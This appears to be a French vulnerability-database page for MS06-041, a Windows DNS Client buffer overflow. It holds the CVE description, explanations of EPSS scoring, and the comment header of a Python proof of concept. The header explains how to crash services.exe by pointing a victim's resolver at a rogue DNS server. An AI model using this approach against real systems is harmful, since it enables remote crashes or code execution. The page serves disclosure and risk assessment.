Descriptions du CVE

Buffer overflow in the DNS Client service in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 allows remote attackers to execute arbitrary code via a crafted record response. NOTE: while MS06-041 implies that there is a single issue, there are multiple vectors, and likely multiple vulnerabilities, related to (1) a heap-based buffer overflow in a DNS server response to the client, (2) a DNS server response with malformed ATMA records, and (3) a length miscalculation in TXT, HINFO, X25, and ISDN records.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/python #POC for MS06-041 #Run the python script passing the local ip address as parameter. The DNS server #will start listening on this ip address for DNS hostname resolution queries. #This script is for testing and educational purpose and so to test this one will #have to point the DNS resolver on the target/client to the ip address on which #this script runs. #Open up internet explorer and type in a hostname. services.exe will crash. #You may have to repeat this two or three times to see the crash in services.exe # Tested on Windows 2000 server SP0 and SP1 inside VmWare. Could not # reproduce on SP4 though it is also vulnerable. May be I missed something :) # # For testing/educational purpose.
